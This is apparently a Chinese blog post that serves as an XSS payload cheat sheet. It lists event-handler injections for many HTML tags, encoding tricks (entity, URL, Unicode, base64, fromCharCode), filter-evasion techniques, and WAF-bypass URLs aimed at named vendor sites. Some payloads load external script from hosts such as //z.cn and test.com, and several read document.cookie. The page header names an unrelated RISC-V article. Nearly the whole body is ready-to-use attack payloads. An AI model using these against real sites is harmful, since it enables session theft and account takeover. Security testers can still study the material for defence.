0
点赞
收藏
分享

微信扫一扫

开发一个RISC-V上的操作系统(七)—— 硬件定时器(Hardware Timer)

老牛走世界 2023-08-14 阅读 75
xss前端

目录

一、简介

二、xss的攻击方式

三、xss 常见标签语句

a标签

img标签

iframe标签

audio标签

video标签

svg标签

button标签

div标签

object标签

script标签

p标签

input标签

details标签

select标签

form标签

body标签

四、xss 常见绕过

编码绕过

1.html 实体编码

2. url 编码

3. js 编码(unicode编码)

4.八进制和十六进制

5. 混合编码

6.base64 编码

通常与 base64 编码配合 data 协议的标签有 :

1.object

2.href

3.iframe

4.embed

7. ascii 编码

空格过滤绕过

圆括号过滤绕过

1. 反引号替换

2. throw 绕过

单引号过滤绕过

1. 斜杠替换

2. 反引号替换

alert 过滤绕过

1. prompt 替换

2. confirm 替换

3. console.log 替换

4. document.write 替换

5. base64 绕过

关键词置空绕过

1. 大小写绕过

2. 嵌套绕过

函数拼接

1. eval

2. top

3. window

4. self

5. parent

6. frames

7. 常用函数

赋值拼接

火狐IE专属

拆分法

绕过 waf 拦截


一、简介

XSS 又称CSS(Cross Site Scripting)或跨站脚本攻击,攻击者在网页中插入由JavaScript编写的恶意代码,当用户浏览被嵌入恶意代码的网页时,恶意代码将会在用户的浏览器上执行。

二、xss的攻击方式

  • Dom:这是一种将任意 Javascript 代码插入到其他Web用户页面里执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在HTML页面里嵌入恶意代码。####假如一个网站有dom型的xss漏洞,刚好是url参数中存在这个漏洞,也就是说url中的参数会被显示在页面的dom元素中。我们利用这个dom xss漏洞,在url中构造一个按钮或者输入框,然后将这个url发送给用户,用户会以为这个按钮(输入框)是这个网站本身构造的。但是事实上我们构造的这个按钮是插入脚本的(只要点击就会触发一些操作)
  • 反射性:<一次性的>。简单地把用户输入的数据反射给浏览器,简单来说,黑客往往需要用户诱使用户点击一个恶意链接,才能攻击成功。(经后端,不经数据库)
  • 存储型给:<持久化的>。将用户输入的数据存储在服务器端。用户访问了带有xss得页面代码后,产生安全问题。(经后端和数据库)##########这个漏洞在个人信息或发表文章和评论区等地方比较常见

三、xss 常见标签语句

a标签

<a href="javascript:alert(1)">test</a>
<a href="x" onfocus="alert('xss');" autofocus="">xss</a>
<a href="x" onclick=eval("alert('xss');")>xss</a>
<a href="x" onmouseover="alert('xss');">xss</a>
<a href="x" onmouseout="alert('xss');">xss</a>

img标签

<img src=x onerror="alert(1)">
<img src=x onerror=eval("alert(1)")>
<img src=1 onmouseover="alert('xss');">
<img src=1 onmouseout="alert('xss');">
<img src=1 onclick="alert('xss');">

iframe标签

<iframe src="javascript:alert(1)">test</iframe>
<iframe onload="alert(document.cookie)"></iframe>
<iframe onload="alert('xss');"></iframe>
<iframe onload="base64,YWxlcnQoJ3hzcycpOw=="></iframe>
<iframe onmouseover="alert('xss');"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

audio标签

<audio src=1 onerror=alert(1)>
<audio><source src="x" onerror="alert('xss');"></audio>
<audio controls onfocus=eval("alert('xss');") autofocus=""></audio>
<audio controls onmouseover="alert('xss');"><source src="x"></audio>

video标签

<video src=x onerror=alert(1)>
<video><source onerror="alert('xss');"></video>
<video controls onmouseover="alert('xss');"></video>
<video controls onfocus="alert('xss');" autofocus=""></video>
<video controls onclick="alert('xss');"></video>

svg标签

<svg onload=javascript:alert(1)>
<svg onload="alert('xss');"></svg>

button标签

<button onclick=alert(1)>
<button onfocus="alert('xss');" autofocus="">xss</button>
<button onclick="alert('xss');">xss</button>
<button onmouseover="alert('xss');">xss</button>
<button onmouseout="alert('xss');">xss</button>
<button onmouseup="alert('xss');">xss</button>
<button onmousedown="alert('xss');"></button>

div标签

这个需要借助url编码来实现绕过

原代码:
<div onmouseover='alert(1)'>DIV</div>
经过url编码:
<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>

object标签

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>

script标签

<script>alert('xss')</script>
<script>alert(/xss/)</script>
<script>alert(123)</script>

p标签

<p onclick="alert('xss');">xss</p>
<p onmouseover="alert('xss');">xss</p>
<p onmouseout="alert('xss');">xss</p>
<p onmouseup="alert('xss');">xss</p>

input标签

<input onclick="alert('xss');">
<input onfocus="alert('xss');">
<input onfocus="alert('xss');" autofocus="">
<input onmouseover="alert('xss');">
<input type="text" onkeydown="alert('xss');"></input>
<input type="text" onkeypress="alert('xss');"></input>
<input type="text" onkeydown="alert('xss');"></input>

details标签

<details ontoggle="alert('xss');"></details>
<details open ontoggle=alert('xss');></details>

select标签

<select onfocus="alert('xss');" autofocus></select>
<select onmouseover="alert('xss');"></select>
<select onclick=eval("alert('xss');")></select>

form标签

<form method="x" action="x" onmouseover="alert('xss');"><input type=submit></form>
<form method="x" action="x" onmouseout="alert('xss');"><input type=submit></form>
<form method="x" action="x" onmouseup="alert('xss');"><input type=submit></form>

body标签

<body onload="alert('xss');"></body>

四、xss 常见绕过

编码绕过

        浏览器对 XSS 代码的解析顺序为:HTML解码 —— URL解码 —— JS解码(只支持UNICODE),所以编码顺序就要反着来

        关于转码和编码直接用chatgpt就可以了,都可以进行转化;对于已经编码的东西要转化为字符串,也可以用python脚本:直接print就可以了

print("\u0061\u006c\u0065\u0072\u0074(1)")

1.html 实体编码

当可控点为单个标签属性时,可以使用 html 实体编码。

<a href="可控点">test</a>

<iframe src="可控点">test<iframe>
<img src=x onerror="可控点">
Payload

<a href="javascript:alert(1)">test</a>

十进制
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">test</a>

十六进制
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">test</a>


可以不带分号
<a href="&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x29">test</a>


可以填充0
<a href="&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029">test</a>

2. url 编码

当注入点存在 href 或者 src 属性时,可以使用 url 编码。

<a href="可控点">test</a>

<iframe src="可控点">test</iframe>


Payload

<a href="javascript:alert(1)">test</a>

<iframe src="javascript:alert(1)">test</iframe>
注:url 解析过程中,不能对协议类型进行任何的编码操作,所以 javascript: 协议头需要保留。

<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>

<iframe src="javascript:%61%6c%65%72%74%28%31%29">test</iframe>
可以二次编码

<a href="javascript:%2561%256c%2565%2572%2574%2528%2531%2529">test</a>

<iframe src="javascript:%2561%256c%2565%2572%2574%2528%2531%2529">test</iframe>

3. js 编码(unicode编码)

        只能解析有效标识符和字符串,想括号这些解析完是不能被是识别执行的

js 编码策略:

        ①“” 加上三个八进制数字,如果个数不够,前面补0,例如 “<” 编码为 “\074”

        ②“\x” 加上两个十六进制数字,如果个数不够,前面补0,例如 “<” 编码为 “\x3c”

        ③“\u” 加上四个十六进制数字,如果个数不够,前面补0,例如 “<” 编码为 “\u003c”

<img src=x onerror="可控点">

<input onfocus=location="可控点" autofocus>

Payload

<img src=x onerror="alert(1)">

<input onfocus=location="alert(1)" autofocus>

Unicode 编码

<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">

<input onfocus=location="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus>

4.八进制和十六进制

编码使用时需要 eval、setTimeout等函数传递变量,并且可以对整个传递参数进行编码。例如 eval(“alert(1)”),可以对 “alert(1)” 整个进行八进制、十六进制或者 Unicode 编码(双引号不参与)。

setTimeout() 是属于 window 的方法,该方法用于在指定的毫秒数后调用函数或计算表达式。

语法:setTimeout(要执行的代码, 等待的毫秒数)

setTimeout(JavaScript 函数, 等待的毫秒数)

alert(1)=\x61\x6C\x65\x72\x74\x28\x31\x29
        =\141\154\145\162\164\050\061\051
        =\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029

1.<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
2.<svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
3.<svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>

1.<script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
2.<script>eval("\141\154\145\162\164\050\061\051")</script>
3.<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>

5. 混合编码

<a href="可控点">test</a>

Payload

<a href="javascript:alert(1)">test</a>

html 编码

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">test</a>

Unicode 编码

<a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a>

注:Unicode 编码不能对括号使用

url 编码

<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>

由于浏览器对 xss 代码的解析过程是:html解析 —— url解析 —— js解析,所以可以编码方式进行组合绕过。

1.源代码

<a href="javascript:alert(1)">test</a>

2.对alert进行JS编码(unicode编码)

<a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a>

3.对href标签中的\u0061\u006c\u0065\u0072\u0074进行URL编码

<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)">test</a>

4.对href标签中的javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)进行HTML编码:

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x29;">test</a>

注:href、src等加载url的属性可以使用三种混合编码,on事件可以使用html实体编码和js编码混合,但url编码在on事件中不会解析。

6.base64 编码

base64 编码通常需要使用到 data 伪协议。

data 协议使用方法:data:资源类型;编码,内容

base64编码内容为

<script>alert(/xss/)</script>

PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=

通常与 base64 编码配合 data 协议的标签有 :

1.object
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>
2.href
<a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=">test</a> 
#(新版浏览器不支持)
3.iframe
<iframe src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></iframe>
4.embed
<embed src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></embed>

atob 函数

atob() 方法用于解码使用 base-64 编码的字符串。

语法:window.atob(encodedStr)(encodedStr: 必需,是一个通过 btoa() 方法编码的字符串)

1.<a href=javascript:eval(atob('YWxlcnQoMSk='))>test</a>
2.<a href=javascript:eval(window.atob('YWxlcnQoMSk='))>test</a>
3.<a href=javascript:eval(window['atob']('YWxlcnQoMSk='))>test</a>
4.<img src=x onmouseover="eval(window.atob('YWxlcnQoMSk='))">
5.<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
6.<iframe src="javascript:eval(window['atob']('YWxlcnQoMSk='))"></iframe>

7. ascii 编码

ascii 编码一般配合String.fromCharCode使用。

alert(1)
十进制:97, 108, 101, 114, 116, 40, 49, 41
十六进制:0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29

十进制

<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>test</a>

十六进制

<a href='javascript:eval(String.fromCharCode(0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29))'>test</a>

空格过滤绕过

<html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html>

A位置可填充 /,/123/,%09,%0A,%0C,%0D,%20 B位置可填充 %09,%0A,%0C,%0D,%20 C位置可填充 %0B,/**/,如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20 D位置可填充 %09,%0A,%0C,%0D,%20,//,>

圆括号过滤绕过

1. 反引号替换

<script>alert`1`</script>

2. throw 绕过

<video src onerror="javascript:window.οnerrοr=alert;throw 1">
<svg/onload="window.οnerrοr=eval;throw'=alert\x281\x29';">

单引号过滤绕过

1. 斜杠替换

<script>alert(/xss/)</script>

2. 反引号替换

<script>alert(`xss`)</script>

alert 过滤绕过

1. prompt 替换

<script>prompt(document.cookie)</script>

2. confirm 替换

<script>confirm(document.cookie)</script>

3. console.log 替换

<script>console.log(3)</script>

4. document.write 替换

<script>document.write(document.cookie)</script>

  5. base64 绕过

<img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">
<img src=x onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">

关键词置空绕过

1. 大小写绕过

<ScRiPt>AlErT(/xss/)</sCrIpT>

2. 嵌套绕过

<sc<script>ript>alert(/xss/)</sc</script>ript>

函数拼接

1. eval

<img src="x"onerror="eval('al'+'ert(document.cookie)')">

2. top

<img src="x" onerror="top['al'+'ert'](1)">

3. window

<img src="x" onerror="window['al'+'ert'](1)">

4. self

<img src="x" onerror="self[`al`+`ert`](1)">

5. parent

<img src="x" onerror="parent[`al`+`ert`](1)">

6. frames

<img src="x" onerror="frames[`al`+`ert`](1)">
#(1)必须放在后面拼接,否则在dvwa中执行不了

7. 常用函数

<img src="x" onerror="eval(alert(1))">
<img src="x" onerror="open(alert(1))">
<img src="x" onerror="document.write(alert(1))">
<img src="x" onerror="setTimeout(alert(1))">
<img src="x" onerror="setInterval(alert(1))">
<img src="x" onerror="Set.constructor(alert(1))">
<img src="x" onerror="Map.constructor(alert(1))">
<img src="x" onerror="Array.constructor(alert(1))">
<img src="x" onerror="WeakSet.constructor(alert(1))">
<img src="x" onerror="constructor.constructor(alert(1))">
<img src="x" onerror="[1].map(alert(1))">
<img src="x" onerror="[1].find(alert(1))">
<img src="x" onerror="[1].every(alert(1))">
<img src="x" onerror="[1].filter(alert(1))">
<img src="x" onerror="[1].forEach(alert(1))">
<img src="x" onerror="[1].findIndex(alert(1))">

赋值拼接

<img src onerror=_=alert,_(1)>
<img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)">
<img src="x" onerror="a='aler';b='t';top[a+b](1)">
<img src onerror=top[a='al',b='ev',b+a]('alert(1)')>
<img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>

火狐IE专属

<marquee onstart=alert(document.cookie)>
#<marquee>和尾标签</marquee>之间的内容就是滚动内容。
#direction表示滚动的方向,值可以是left,right,up,down,默认为left 。
#behavior表示滚动的方式,值可以是scroll(连续滚动)、slide、alternate(往返滚动) 。

拆分法

当 Web 应用程序对目标用户的输入长度进行了限制时,这时无法注入较长的xss攻击向量,但是特定情况下,这种限制可以通过拆分法注入的方式进行绕过。

<script>a='document.write("'</script>
<script>a=a+'<script src=ht'</script>
<script>a=a+'tp://test.com/xs'</script>
<script>a=a+'s.js></script>")'</script>
<script>eval(a)</script>

通过上面的拆分法可以拼凑出下面完整的攻击向量:

document.write(“”)

绕过 waf 拦截

安全狗

http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/onerror=top[`al`%2B`ert`](1);>
http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/onerror=appendChild(createElement("script")).src="//z.cn">

D盾

http://www.d99net.net/News.asp?id=126<video/src/onloadstart=top[`al`%2B`ert`](1);>
http://www.d99net.net/News.asp?id=126<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>

云锁+奇安信 waf

http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/onloadstart=top[`al`%2B`ert`](1);>
http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild
举报

相关推荐

0 条评论